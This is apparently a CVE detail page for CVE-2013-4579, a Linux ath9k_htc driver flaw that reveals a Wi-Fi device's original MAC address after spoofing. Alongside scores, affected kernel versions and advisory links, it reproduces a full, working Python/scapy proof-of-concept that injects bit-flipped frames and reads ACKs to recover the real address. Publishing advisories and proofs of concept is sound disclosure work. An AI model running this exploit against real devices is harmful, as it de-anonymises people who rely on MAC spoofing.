CVE-2013-4579 : Detail

CVE-2013-4579

A02-Cryptographic Failures
20.69%V3
Network
2013-11-19
14h00 +00:00
2014-03-10
10h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

The ath9k_htc_set_bssid_mask function in drivers/net/wireless/ath/ath9k/htc_drv_main.c in the Linux kernel through 3.12 uses a BSSID masking approach to determine the set of MAC addresses on which a Wi-Fi device is listening, which allows remote attackers to discover the original MAC address after spoofing by sending a series of packets to MAC addresses with certain bit manipulations.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-310 Category : Cryptographic Issues
Weaknesses in this category are related to the design and implementation of data confidentiality and integrity. Frequently these deal with the use of encoding techniques, encryption libraries, and hashing algorithms. The weaknesses in this category could lead to a degradation of the quality data if they are not addressed.

Metrics

Metrics Score Severity CVSS Vector Source
V2 4.3 AV:N/AC:M/Au:N/C:P/I:N/A:N [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 38826

Publication date : 2013-12-09 23h00 +00:00
Author : Mathy Vanhoef
EDB Verified : Yes

source: https://www.securityfocus.com/bid/63743/info Linux Kernel is prone to an information-disclosure vulnerability. An attacker can exploit this issue to obtain sensitive information like original MAC address; information obtained may aid in other attacks. Note: This BID was previously titled 'Atheros Wireless Drivers MAC Address Information Disclosure Vulnerability'. The title and technical details have been changed to better reflect the underlying component affected. #!/usr/bin/python import logging logging.getLogger("scapy.runtime").setLevel(logging.ERROR) from scapy.all import * import random # number of times to inject probe for one bit (combat packet loss) ATTEMPTS_PER_BIT = 6 # time to wait for ACK in seconds SNIFFTIME = 0.3 def randmac(): mac = [0] * 6 for i in xrange(6): mac[i] = random.randint(0, 256) # avoid multicast/broadcast mac mac[0] = mac[0] & 0xFE return ":".join([format(byte, '02x') for byte in mac]) def parsemac(macstr): parts = macstr.replace("-", ":").split(":") if len(parts) != 6: raise ValueError("MAC does not consist of 6 parts (separated by : or -)") return [int(byte, 16) for byte in parts] def is_ack(p): return Dot11 in p and p.type == 1 and p.subtype == 13 def find_fixed_bits(s, mac): # eventually contains the real MAC address orgmac = [0] * 6 # random MAC address, used as sender, to which the target will send an ACK srcmac = randmac() # for all the bits - FIXME: Don't consider H.O. bit of first MAC byte for i in range(6): for bit in range(8): # flip the bit at current position currbit = mac[i] & (1 << bit) mac[i] ^= (1 << bit) # convert modified mac to string strmac = ":".join([format(byte, '02x') for byte in mac]) print "Probing", strmac, "...", replied = False for attempt in range(ATTEMPTS_PER_BIT): # inject data packet to modified MAC address packet = Dot11(type="Data", subtype=4, FCfield="from-DS", addr1=strmac, addr2=srcmac, addr3=strmac) s.send(RadioTap()/packet) # Sniff air for ACK to modified MAC l = sniff(lfilter=lambda p: is_ack(p) and p.addr1 == srcmac, count=1, timeout=SNIFFTIME, opened_socket=s) # We we got an ACK, don't need to try again if len(l) == 1: replied = True break print replied # If client replied, original bit is different from the one currently set, # otherwise it's equal to original bit. if replied: orgmac[i] |= (~currbit) & (1 << bit) else: orgmac[i] |= currbit # flip bit back to original value mac[i] ^= (1 << bit) # Done, return original MAC return orgmac if __name__ == "__main__": if len(sys.argv) != 3: print "Usage:", sys.argv[0], "interface macaddr" quit(1) try: mac = parsemac(sys.argv[2]) conf.iface = sys.argv[1] random.seed() # Open up read/write socket so we don't miss the ACK L2socket = conf.L2socket s = L2socket(type=ETH_P_ALL, iface=conf.iface) # Now find the MAC orgmac = find_fixed_bits(s, mac) s.close() print "\nReal MAC address:", ":".join(format(byte, "02x") for byte in orgmac), "\n" except ValueError, e: print "Invalid MAC address:", e except socket.error, e: print "Error with provided interface:", e

Products Mentioned

Configuraton 0

Linux>>Linux_kernel >> Version To (including) 3.12

Linux>>Linux_kernel >> Version 3.0

Linux>>Linux_kernel >> Version 3.0

Linux>>Linux_kernel >> Version 3.0

Linux>>Linux_kernel >> Version 3.0

Linux>>Linux_kernel >> Version 3.0

Linux>>Linux_kernel >> Version 3.0

Linux>>Linux_kernel >> Version 3.0

Linux>>Linux_kernel >> Version 3.0.1

Linux>>Linux_kernel >> Version 3.0.2

Linux>>Linux_kernel >> Version 3.0.3

Linux>>Linux_kernel >> Version 3.0.4

Linux>>Linux_kernel >> Version 3.0.5

Linux>>Linux_kernel >> Version 3.0.6

Linux>>Linux_kernel >> Version 3.0.7

Linux>>Linux_kernel >> Version 3.0.8

Linux>>Linux_kernel >> Version 3.0.9

Linux>>Linux_kernel >> Version 3.0.10

Linux>>Linux_kernel >> Version 3.0.11

Linux>>Linux_kernel >> Version 3.0.12

Linux>>Linux_kernel >> Version 3.0.13

Linux>>Linux_kernel >> Version 3.0.14

Linux>>Linux_kernel >> Version 3.0.15

Linux>>Linux_kernel >> Version 3.0.16

Linux>>Linux_kernel >> Version 3.0.17

Linux>>Linux_kernel >> Version 3.0.18

Linux>>Linux_kernel >> Version 3.0.19

Linux>>Linux_kernel >> Version 3.0.20

Linux>>Linux_kernel >> Version 3.0.21

Linux>>Linux_kernel >> Version 3.0.22

Linux>>Linux_kernel >> Version 3.0.23

Linux>>Linux_kernel >> Version 3.0.24

Linux>>Linux_kernel >> Version 3.0.25

Linux>>Linux_kernel >> Version 3.0.26

Linux>>Linux_kernel >> Version 3.0.27

Linux>>Linux_kernel >> Version 3.0.28

Linux>>Linux_kernel >> Version 3.0.29

Linux>>Linux_kernel >> Version 3.0.30

Linux>>Linux_kernel >> Version 3.0.31

Linux>>Linux_kernel >> Version 3.0.32

Linux>>Linux_kernel >> Version 3.0.33

Linux>>Linux_kernel >> Version 3.0.34

Linux>>Linux_kernel >> Version 3.0.35

Linux>>Linux_kernel >> Version 3.0.36

Linux>>Linux_kernel >> Version 3.0.37

Linux>>Linux_kernel >> Version 3.0.38

Linux>>Linux_kernel >> Version 3.0.39

Linux>>Linux_kernel >> Version 3.0.40

Linux>>Linux_kernel >> Version 3.0.41

Linux>>Linux_kernel >> Version 3.0.42

Linux>>Linux_kernel >> Version 3.0.43

Linux>>Linux_kernel >> Version 3.0.44

Linux>>Linux_kernel >> Version 3.0.45

Linux>>Linux_kernel >> Version 3.0.46

Linux>>Linux_kernel >> Version 3.0.47

Linux>>Linux_kernel >> Version 3.0.48

Linux>>Linux_kernel >> Version 3.0.49

Linux>>Linux_kernel >> Version 3.0.50

Linux>>Linux_kernel >> Version 3.0.51

Linux>>Linux_kernel >> Version 3.0.52

Linux>>Linux_kernel >> Version 3.0.53

Linux>>Linux_kernel >> Version 3.0.54

Linux>>Linux_kernel >> Version 3.0.55

Linux>>Linux_kernel >> Version 3.0.56

Linux>>Linux_kernel >> Version 3.0.57

Linux>>Linux_kernel >> Version 3.0.58

Linux>>Linux_kernel >> Version 3.0.59

Linux>>Linux_kernel >> Version 3.0.60

Linux>>Linux_kernel >> Version 3.0.61

Linux>>Linux_kernel >> Version 3.0.62

Linux>>Linux_kernel >> Version 3.0.63

Linux>>Linux_kernel >> Version 3.0.64

Linux>>Linux_kernel >> Version 3.0.65

Linux>>Linux_kernel >> Version 3.0.66

Linux>>Linux_kernel >> Version 3.0.67

Linux>>Linux_kernel >> Version 3.0.68

Linux>>Linux_kernel >> Version 3.1

Linux>>Linux_kernel >> Version 3.1

Linux>>Linux_kernel >> Version 3.1

Linux>>Linux_kernel >> Version 3.1

Linux>>Linux_kernel >> Version 3.1

Linux>>Linux_kernel >> Version 3.1.1

Linux>>Linux_kernel >> Version 3.1.2

Linux>>Linux_kernel >> Version 3.1.3

Linux>>Linux_kernel >> Version 3.1.4

Linux>>Linux_kernel >> Version 3.1.5

Linux>>Linux_kernel >> Version 3.1.6

Linux>>Linux_kernel >> Version 3.1.7

Linux>>Linux_kernel >> Version 3.1.8

Linux>>Linux_kernel >> Version 3.1.9

Linux>>Linux_kernel >> Version 3.1.10

Linux>>Linux_kernel >> Version 3.2

Linux>>Linux_kernel >> Version 3.2

Linux>>Linux_kernel >> Version 3.2

Linux>>Linux_kernel >> Version 3.2

Linux>>Linux_kernel >> Version 3.2

Linux>>Linux_kernel >> Version 3.2

Linux>>Linux_kernel >> Version 3.2

Linux>>Linux_kernel >> Version 3.2.1

Linux>>Linux_kernel >> Version 3.2.2

Linux>>Linux_kernel >> Version 3.2.3

Linux>>Linux_kernel >> Version 3.2.4

Linux>>Linux_kernel >> Version 3.2.5

Linux>>Linux_kernel >> Version 3.2.6

Linux>>Linux_kernel >> Version 3.2.7

Linux>>Linux_kernel >> Version 3.2.8

Linux>>Linux_kernel >> Version 3.2.9

Linux>>Linux_kernel >> Version 3.2.10

Linux>>Linux_kernel >> Version 3.2.11

Linux>>Linux_kernel >> Version 3.2.12

Linux>>Linux_kernel >> Version 3.2.13

Linux>>Linux_kernel >> Version 3.2.14

Linux>>Linux_kernel >> Version 3.2.15

Linux>>Linux_kernel >> Version 3.2.16

Linux>>Linux_kernel >> Version 3.2.17

Linux>>Linux_kernel >> Version 3.2.18

Linux>>Linux_kernel >> Version 3.2.19

Linux>>Linux_kernel >> Version 3.2.20

Linux>>Linux_kernel >> Version 3.2.21

Linux>>Linux_kernel >> Version 3.2.22

Linux>>Linux_kernel >> Version 3.2.23

Linux>>Linux_kernel >> Version 3.2.24

Linux>>Linux_kernel >> Version 3.2.25

Linux>>Linux_kernel >> Version 3.2.26

Linux>>Linux_kernel >> Version 3.2.27

Linux>>Linux_kernel >> Version 3.2.28

Linux>>Linux_kernel >> Version 3.2.29

Linux>>Linux_kernel >> Version 3.2.30

Linux>>Linux_kernel >> Version 3.3

Linux>>Linux_kernel >> Version 3.3

Linux>>Linux_kernel >> Version 3.3

Linux>>Linux_kernel >> Version 3.3

Linux>>Linux_kernel >> Version 3.3

Linux>>Linux_kernel >> Version 3.3

Linux>>Linux_kernel >> Version 3.3

Linux>>Linux_kernel >> Version 3.3

Linux>>Linux_kernel >> Version 3.3.1

Linux>>Linux_kernel >> Version 3.3.2

Linux>>Linux_kernel >> Version 3.3.3

Linux>>Linux_kernel >> Version 3.3.4

Linux>>Linux_kernel >> Version 3.3.5

Linux>>Linux_kernel >> Version 3.3.6

Linux>>Linux_kernel >> Version 3.3.7

Linux>>Linux_kernel >> Version 3.3.8

Linux>>Linux_kernel >> Version 3.4

Linux>>Linux_kernel >> Version 3.4

Linux>>Linux_kernel >> Version 3.4

Linux>>Linux_kernel >> Version 3.4

Linux>>Linux_kernel >> Version 3.4

Linux>>Linux_kernel >> Version 3.4

Linux>>Linux_kernel >> Version 3.4

Linux>>Linux_kernel >> Version 3.4

Linux>>Linux_kernel >> Version 3.4.1

Linux>>Linux_kernel >> Version 3.4.2

Linux>>Linux_kernel >> Version 3.4.3

Linux>>Linux_kernel >> Version 3.4.4

Linux>>Linux_kernel >> Version 3.4.5

Linux>>Linux_kernel >> Version 3.4.6

Linux>>Linux_kernel >> Version 3.4.7

Linux>>Linux_kernel >> Version 3.4.8

Linux>>Linux_kernel >> Version 3.4.9

Linux>>Linux_kernel >> Version 3.4.10

Linux>>Linux_kernel >> Version 3.4.11

Linux>>Linux_kernel >> Version 3.4.12

Linux>>Linux_kernel >> Version 3.4.13

Linux>>Linux_kernel >> Version 3.4.14

Linux>>Linux_kernel >> Version 3.4.15

Linux>>Linux_kernel >> Version 3.4.16

Linux>>Linux_kernel >> Version 3.4.17

Linux>>Linux_kernel >> Version 3.4.18

Linux>>Linux_kernel >> Version 3.4.19

Linux>>Linux_kernel >> Version 3.4.20

Linux>>Linux_kernel >> Version 3.4.21

Linux>>Linux_kernel >> Version 3.4.22

Linux>>Linux_kernel >> Version 3.4.23

Linux>>Linux_kernel >> Version 3.4.24

Linux>>Linux_kernel >> Version 3.4.25

Linux>>Linux_kernel >> Version 3.4.26

Linux>>Linux_kernel >> Version 3.4.27

Linux>>Linux_kernel >> Version 3.4.28

Linux>>Linux_kernel >> Version 3.4.29

Linux>>Linux_kernel >> Version 3.4.30

Linux>>Linux_kernel >> Version 3.4.31

Linux>>Linux_kernel >> Version 3.4.32

Linux>>Linux_kernel >> Version 3.5.1

Linux>>Linux_kernel >> Version 3.5.2

Linux>>Linux_kernel >> Version 3.5.3

Linux>>Linux_kernel >> Version 3.5.4

Linux>>Linux_kernel >> Version 3.5.5

Linux>>Linux_kernel >> Version 3.5.6

Linux>>Linux_kernel >> Version 3.5.7

Linux>>Linux_kernel >> Version 3.6

Linux>>Linux_kernel >> Version 3.6.1

Linux>>Linux_kernel >> Version 3.6.2

Linux>>Linux_kernel >> Version 3.6.3

Linux>>Linux_kernel >> Version 3.6.4

Linux>>Linux_kernel >> Version 3.6.5

Linux>>Linux_kernel >> Version 3.6.6

Linux>>Linux_kernel >> Version 3.6.7

Linux>>Linux_kernel >> Version 3.6.8

Linux>>Linux_kernel >> Version 3.6.9

Linux>>Linux_kernel >> Version 3.6.10

Linux>>Linux_kernel >> Version 3.6.11

Linux>>Linux_kernel >> Version 3.7

Linux>>Linux_kernel >> Version 3.7.1

Linux>>Linux_kernel >> Version 3.7.2

Linux>>Linux_kernel >> Version 3.7.3

Linux>>Linux_kernel >> Version 3.7.4

Linux>>Linux_kernel >> Version 3.7.5

Linux>>Linux_kernel >> Version 3.7.6

Linux>>Linux_kernel >> Version 3.7.7

Linux>>Linux_kernel >> Version 3.7.8

Linux>>Linux_kernel >> Version 3.7.9

Linux>>Linux_kernel >> Version 3.7.10

Linux>>Linux_kernel >> Version 3.8.0

Linux>>Linux_kernel >> Version 3.8.1

Linux>>Linux_kernel >> Version 3.8.2

Linux>>Linux_kernel >> Version 3.8.3

Linux>>Linux_kernel >> Version 3.8.4

Linux>>Linux_kernel >> Version 3.8.5

Linux>>Linux_kernel >> Version 3.8.6

Linux>>Linux_kernel >> Version 3.8.7

Linux>>Linux_kernel >> Version 3.8.8

Linux>>Linux_kernel >> Version 3.8.9

Linux>>Linux_kernel >> Version 3.8.10

Linux>>Linux_kernel >> Version 3.8.11

Linux>>Linux_kernel >> Version 3.8.12

Linux>>Linux_kernel >> Version 3.8.13

Linux>>Linux_kernel >> Version 3.9

Linux>>Linux_kernel >> Version 3.9

Linux>>Linux_kernel >> Version 3.9

Linux>>Linux_kernel >> Version 3.9

Linux>>Linux_kernel >> Version 3.9

Linux>>Linux_kernel >> Version 3.9

Linux>>Linux_kernel >> Version 3.9

Linux>>Linux_kernel >> Version 3.9.0

Linux>>Linux_kernel >> Version 3.9.1

Linux>>Linux_kernel >> Version 3.9.2

Linux>>Linux_kernel >> Version 3.9.3

Linux>>Linux_kernel >> Version 3.9.4

Linux>>Linux_kernel >> Version 3.9.5

Linux>>Linux_kernel >> Version 3.9.6

Linux>>Linux_kernel >> Version 3.9.7

Linux>>Linux_kernel >> Version 3.9.8

Linux>>Linux_kernel >> Version 3.9.9

Linux>>Linux_kernel >> Version 3.9.10

Linux>>Linux_kernel >> Version 3.9.11

Linux>>Linux_kernel >> Version 3.10.1

Linux>>Linux_kernel >> Version 3.10.2

Linux>>Linux_kernel >> Version 3.10.3

Linux>>Linux_kernel >> Version 3.10.4

Linux>>Linux_kernel >> Version 3.10.5

Linux>>Linux_kernel >> Version 3.10.6

Linux>>Linux_kernel >> Version 3.10.7

Linux>>Linux_kernel >> Version 3.10.8

Linux>>Linux_kernel >> Version 3.10.9

Linux>>Linux_kernel >> Version 3.10.10

Linux>>Linux_kernel >> Version 3.10.11

Linux>>Linux_kernel >> Version 3.10.12

Linux>>Linux_kernel >> Version 3.10.13

Linux>>Linux_kernel >> Version 3.10.14

Linux>>Linux_kernel >> Version 3.10.15

Linux>>Linux_kernel >> Version 3.10.16

Linux>>Linux_kernel >> Version 3.10.17

Linux>>Linux_kernel >> Version 3.10.18

Linux>>Linux_kernel >> Version 3.11

Linux>>Linux_kernel >> Version 3.11.1

Linux>>Linux_kernel >> Version 3.11.2

Linux>>Linux_kernel >> Version 3.11.3

Linux>>Linux_kernel >> Version 3.11.4

Linux>>Linux_kernel >> Version 3.11.5

Linux>>Linux_kernel >> Version 3.11.6

Linux>>Linux_kernel >> Version 3.11.7

References

http://www.ubuntu.com/usn/USN-2135-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://www.ubuntu.com/usn/USN-2138-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://www.ubuntu.com/usn/USN-2113-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://www.ubuntu.com/usn/USN-2141-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://www.openwall.com/lists/oss-security/2013/11/15/3
Tags : mailing-list, x_refsource_MLIST
http://www.ubuntu.com/usn/USN-2136-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://www.ubuntu.com/usn/USN-2139-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://www.ubuntu.com/usn/USN-2134-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://www.ubuntu.com/usn/USN-2117-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://www.ubuntu.com/usn/USN-2133-1
Tags : vendor-advisory, x_refsource_UBUNTU